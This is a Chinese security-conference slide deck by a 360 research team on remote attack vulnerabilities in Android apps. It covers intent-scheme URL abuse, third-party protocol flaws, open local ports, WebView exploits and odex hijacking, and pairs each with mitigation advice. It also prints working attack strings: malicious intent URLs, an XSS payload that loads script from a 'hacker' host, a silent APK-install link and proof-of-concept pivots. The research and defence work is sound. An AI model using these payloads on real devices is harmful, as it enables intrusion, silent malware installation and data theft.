AirJD 焦点
AirJD

没有录音文件
00:00/00:00
加收藏

细数安卓APP那些远程攻击漏洞 by z7sky&行之@360

发布者 security
发布于 1441759601715  浏览 13576 关键词 Android, 网络安全 
分享到

第1页

细数安卓APP那些远程攻击漏洞

z7sky & 行之 @360VulpeckerTeam



第2页

演讲者简介

z7sky & 行之 360VulpeckerTeam成员 研究方向:Android 系统安全和第三方APP 安全 weibo: @0xr0ot @z7sky



第3页

概览



第4页

Mobile Pwn2Own 2013

Mobile Pwn2Own 2013上安全研究人员Pinkie Pie 利用chrome的两个0day漏洞,实现了远 程代码执行攻击,通过远程的web页面控制了系统。 随后,2014年日本安全研究人员Takeshi Terada 公布了Pwn2own 大赛exploit中intent协议漏 洞的利用方法。



第5页

协议漏洞

影响面最大的远程攻击入口

意图协议和第三方协议



第6页

Intent协议漏洞



第7页

Intent Scheme Url

Chrome v18及更早版本,可以通过为iframe的src属性设置自定义的scheme 实现从Web页面启动一个本地应用。其他android浏览器也支持。Chrome v25及 其之后,稍微有了些变化。取而代之的是通过自定义的scheme或者”intent:”来 实现。

如果浏览器支持intent scheme url,一般 会分三个步骤处理:

1.使用Intent.parseUri(uri);解析url生成 intent对象。 2.对intent对象进行过滤,不同的浏览器过 滤规则有差异。 3.通过Context#startActivityIfNeeded()或 Context#startActivity()等传递步骤2中经过 过滤后的intent来启动activity。



第8页

语法示例



data



extra



intent:mydata#Intent;action=com.me.om;S.url=file:///mnt/sdcard/Down load/xss.html;SEL;component=com.ex.uritest/com.ex.uritest.MainActiv ity;end



selector intent



设置了selector intent 的activity



另外可以为其设置备用页面,当intent无法被解析或者外部应用不能被启 动时,用户会被重定向到指定页面。

S.browser_fallback_url=[encoded_full_url]



第9页

BROWSABLE Category

在继续介绍前先了解两个概念。

1. android.intent.category.BROWSABLE

这个属性配置在AndroidManifest.xml文件中,如果应用组件支持这 个category,表明这个组件通过浏览器打开是安全的,不会对应用自身 产生危害。所以当自己的应用组件比较脆弱或者存在重要业务逻辑时, 一般建议禁止使用这个属性。



第10页

Selector Intent

2. Selector Intent

Android API level 15(Android 4.0.3) 引进了Selector intent机制,这个selector intent可以被绑定到一个main intent上,如果这个main intent拥有selector intent,那么 Android Framework会解析selector intent。

intent://appscan#Intent;S.url=file:///mnt/sdcard/Download/xss.html;SEL;component=com. ex.uritest/com.ex.uritest.MainActivity;end

SEL表明为com.ex.uritest.MainActivity设置了一个selector intent,那么android framework会解析这个selector intent,即使com.ex.uritest.MainActivity没有 android.intent.category.BROWSABLE category。



第11页

Chrome浏览器的绕过与防护

利用SEL特性就可以绕过chrome的一些安全限制。 Intent intent = Intent.parseUri(uri); intent.addCategory(“android.intent.category.BROWSABLE”); intent.setComponent(null); context.startActivityIfNeeded(intent, -1);

1.强制限制只有Category为android.intent.category.BROWSABLE的activity组件 才能接收它的intent。 2.禁止显式调用。

现在最新的chrome版本已经对selector intent增加了过滤规则.



第12页

攻击场景

利用这个漏洞,可以通过浏览器来攻击其他应用以及自身未导出组件。



第13页

案例:攻击自身组件

Cookie Theft & UXSS



第14页

案例:攻击第三方应用

1.小米手机远程代码执行漏洞 http://blogs.360.cn/360mobile/2014/08/25/miui-rce-vul/ com.xiaomi.shop.activity.MainActivity能够被外部调用加载任意的网页。

intent:#Intent;component=com.xiaomi.shop/com.xiaomi.shop.activity.MainActivity;S.co m.xiaomi.shop.extra_closed_url=http://server/acttack.html;end



第15页

关于Webview RCE

详见 http://security.360.cn/Index/news/id/59.html 防御: 如果可以使用其他方式实现同样的功能,应尽量避免使用addJavascriptInterface()。 可以通过移除系统接口和动态加载js的方式来防御漏洞的利用。



第16页

市面上仍受影响的浏览器



搜狗浏览器 猎豹浏览器 遨游云浏览器 2345浏览器 欧朋浏览器 海豚浏览器



action data 支持 支持



extra 支持



component BROWSABLE sel



不支持



需要



支持



支持 支持 支持 支持 支持 支持 支持 支持



支持



不支持



需要



支持



支持(支持显示调 用activity)



支持



不支持



不需要 需要



支持



支持



不需要



支持 支持 支持 支持



支持 支持 支持



支持



不需要



支持



Mercury



支持 支持 支持



支持



不需要



支持



第17页

攻击案例(视频)

2.利用猎豹浏览器攻击搜狗输入法

在安卓4.2以下系统上,搜狗输入法可能会受webview远程代码执行漏洞影响,猎豹浏 览器又可以通过SEL绕过防护。 以猎豹浏览器为跳板,进入搜狗输入法,利用远程代 码执行漏洞控制手机。

intent:#Intent;S.url=http://server/attack.html;SEL; component=com.sohu.inputmethod.sogou/com.sogou.androidtool.WebPushActivity; end



第18页

自动检测及利用

使用Androguard搜索关键函数,parseUri()、loadUrl()、addJavascriptInterface()。

loadUrl可能会加载一个不安全的intent scheme url,另外这个应用还可能存在 webview远程代码执行漏洞,结合起来可以实现危害更大的攻击。 另外可以结合hook等手段实现自动化动态检测及利用。



第19页

Hook Intent监测

我们可以通过hook监控intent的方式,来查看intent的哪些数据被发送出来了, 方便研究。



第20页

漏洞缓解方案

通过以上分析,可以得出下面相对比较安全的intent filter方案。

// convert intent scheme URL to intent object Intent intent = Intent.parseUri(uri); // forbid launching activities without BROWSABLE category intent.addCategory("android.intent.category.BROWSABLE"); intent.setComponent(null); // forbid explicit call intent.setSelector(null); // forbid intent with selector intent context.startActivityIfNeeded(intent, -1); // start the activity by the intent

毕竟安全本身就是不断的攻防对抗过程。



第21页

第三方协议漏洞



第22页

案例1:腾讯应用宝

应用宝注册了tmast协议的安装APK功能,却没有做安全限制。可以下载安装任意APK, 由于有秒装功能,所以可以远程静默安装。 tmast://download?downl_biz_id=qb&down_ticket=11&downl_url=https%3A%2f%2fwww.mw rinfosecurity.com%2fsystem%2fassets%2f934%2foriginal%2fdrozer-agent-2.3.4.apk";



第23页

当时存在一个信任域的XSS,由于众多信任域中有一个sohu的域名,这个腾讯不可控, 导致可以使用该协议加载黑客的JS。

<a href="tmast://webview?url=http://m.tv.sohu.com/hots/128?vid=2xss%22};document.getEleme ntsByTagName('head')[0].appendChild(document.createElement('script')).src='//hacker/1.js?xx' ;test={x:%22:">TEST2<br>



第24页

另外应用宝里注册了jsb协议,该协议的功能具体可以参考: http://qzs.qq.com/open/mobile/yyb_gift_center/open_yyb_gift_test.html



第25页

查看源码,可以看到js中封装的框架是通过jsb://协议实现的。



第26页

案例2:三星KNOX远程安装漏洞

三星MDM获取更新的请求是通过注册的smdm协议唤起的。 smdm://meow?update_url=http://youserver MDM客户端首先会取这个url里的update_url,在其后添加/latest,然后发起 HEAD请求,服务端会返回ETag、Content-Length和x-amz-meta-apk-version等。



第27页

MDM客户端会检查header中的这三个值,x-amz-meta-apk-version值会与当前 MDM包的版本进行比较。如果x-amz-meta-apk-version版本号大于当前的APK版

本,v0就会被置为1,即需要更新。此时用户手机会弹框提示有新更新,如果用 户点击了确定,就会发送一个get请求,获取apk更新地址等,然而更新地址是外

部可控的。



第28页

下载完进行安装时,MDM客户端会调用_installApplication(),该函数的的功能是禁止包验 证 (防止Google扫描APK)。安装完成之后再重新开启包验证。

分析整个客户端的处理逻辑,发现下载之后,安装过程既没有经过验证,也没有向用户 展示请求的权限。

在启动恶意程序时,也可以通过为其注册一个第三方协议,然后通过网页唤醒。



第29页

案例3:新浪微博

最新版V5.3.0 新浪微博注册了sinaweibo://第三方协议,然而多处接口处理不当,导 致可远程拒绝服务.

POC: <script>location.href=“XXX";</script>

XXX= sinaweibo://browser/close 或 sinaweibo://compose?pack=com.yixia.videoeditor 或 sinaweibo://addgroupmember?containerid=102603

sinaweibo://browser/?url=http://www.vul.com/uxss.html 另外可以利用xss(uxss)、csrf等攻击方式利用登录状态完成一些越权操作。



第30页

开放端⼝口漏洞

隐藏在系统中的APP后门:完全开放的服务端口



第31页

Android应用可能会使用sockets(TCP、UDP、UNIX)在应用间或者自身应用 组件间进行通信。然而这种通信方式本身并没有提供任何身份认证。

当开放端口绑定到0.0.0.0,那么任何IP都可以访问。 当开放端口绑定到127.0.0.1,那么同一设备上的应用依然可以访问。



第32页

乌云案例:新浪微博V5.2.0



ID:小荷才露尖尖角



新浪微博在native层(libweibohttp.so)实现了一个http server,绑定了127.0.0.1,监听 9527端口。



第33页

http请求解析处理逻辑位于com.sina.weibo.utils.weibohttpd.a/b/c三个类中。

主要有三种: 1.http://127.0.0.1:9527/login?callback=xxx 2.http://127.0.0.1:9527/query?appid=com.sina.weibo 3.http://127.0.0.1:9527/si?cmp=com.sina.weibo_

访问第一种请求时,如果用户处于登陆状态会返回用户的身份信息。



第34页

访问http://127.0.0.1:9527/login?callback=xxx,返回登陆用户的身份信息。



第35页

访问http://127.0.0.1:9527/query?appid=com.tencent.mtt ,返回QQ浏览器的安装信息。如 果未安装返回”no install”.



第36页

http://127.0.0.1:9527/si?cmp=com.sina.weibo_componentname可 以访问微博中未导出的组件。



第37页

访问 http://127.0.0.1:9527/si?cmp=com.sina.weibo_com.sina.weibo.exlibs.NewProjectModeActiv ityPreLoading可以打开未导出组件“工程模式”,可以在应用权限范围内执行命令。



第38页

检测与防御

检测 可以通过netstat命令查看开放端口,系统自带的netstat以及Busybox里的p参数也不 是很好用。Google play上有一款应用:netstat plus,效果图:

原理很简单,直接读取: /proc/net/tcp /proc/net/tcp6 /proc/net/udp /proc/net/udp6

防御 通信过程应增加身份校验措施,或者给用户明确的功能连接提示。



第39页

iframe.src = "http://127.0.0.1:9527/si?cmp=com.sohu.inputmethod.sogou_sogou.mobile.explorer.hotwords. HotwordsWebViewActivity&data=http://X.X.X.X:80/go.html";

通过新浪微博为跳板,进入搜狗输入法的组件进行下一步攻击。



第40页

天上掉下来的通用漏洞:HackingTeam泄漏的0day漏洞



第41页

HackingTeam android browser exploit

漏洞: CVE-2011-1202 CVE-2012-2825 CVE-2012-2871

影响: android4.3以下系统浏览器 webview 远程代码执行

国内众多第三方浏览器(android 4.4 ~ 5.1)



第42页

自定义浏览器内核

腾讯的X5内核 UC的U3内核 百度的T5内核



第43页

漏洞1:CVE-2011-1202(信息泄露)

generate-id()引起的信息泄露



patch



内存地址泄漏



第44页

漏洞2:CVE-­2012-­2825(任意地址读)

恶意地址 patch

类型混淆 任意内存读



第45页

漏洞3:CVE-2012-2871(任意地址写)

<xsl:for-each select="namespace::*">



第46页

Proof of concept (> android 4.4)



信息泄露



内存任意读



内存写漏洞



第47页

漏洞利用思路

1、用arrayBuffer在堆中喷大量的特定字符串,利用任意 读漏洞定位内存地址 2、利用任意写漏洞,确定arrayBuffer的起始地址,实现 有限空间任意读写 3、有限空间读写转化为任意地址读写 4、构造ROP chain,覆盖虚函数表指针



第48页

X5内核漏洞利用演示

搜狗输入法 HOW?

浏览器作为攻击入口 Weibo作为跳板打开搜狗输入法 X5内核加载恶意网页,执行代码



浏览器

URL scheme

weibo

Server socket, intent with data

搜狗输入法

loadUrl

X5内核

RCE



第49页

想不到的恶意文件:影响千万应用的安卓“寄生兽”漏洞



第50页

关于APK的缓存代码

安卓的应用程序apk文件是zip压缩格式的文件,apk文件中包含的classes.dex文 件相当于app的可执行文件,当app运行后系统会对classes.dex进行优化,生成对 应的odex格式的文件。



第51页

插件机制引入的攻击点

• 动态加载 • 反射调用



第52页

新的攻击入口

• Zip解压缩漏洞 ZipEntry.getName没有过滤”../”

• DexClassLoader的缓存校验漏洞



第53页

exploit

1、修改dex,生成odex Dalvikvm,不同机型适配



2、修改odex



modTime



crc



3、生成zip文件



第54页

案例1 高德地图及SDK



第55页

案例2 输入法关联文件



第56页

案例3 UC浏览器



第57页

防护方案

对可能的劫持odex的攻击入口漏洞进行修复

• zip解压缩漏洞,过滤”../”跳转符 • adb backup, allowBackup=”false” • Odex不要存储在sdcard

对odex文件进行完整性校验

• 每次重新生成odex • 存储odex信息,加载前校验



第58页

感谢

360 vulpecker Team:

@RAyH4c @sniperhg @zpd2009



第59页

Thanks!



支持文件格式:*.pdf
上传最后阶段需要进行在线转换,可能需要1~2分钟,请耐心等待。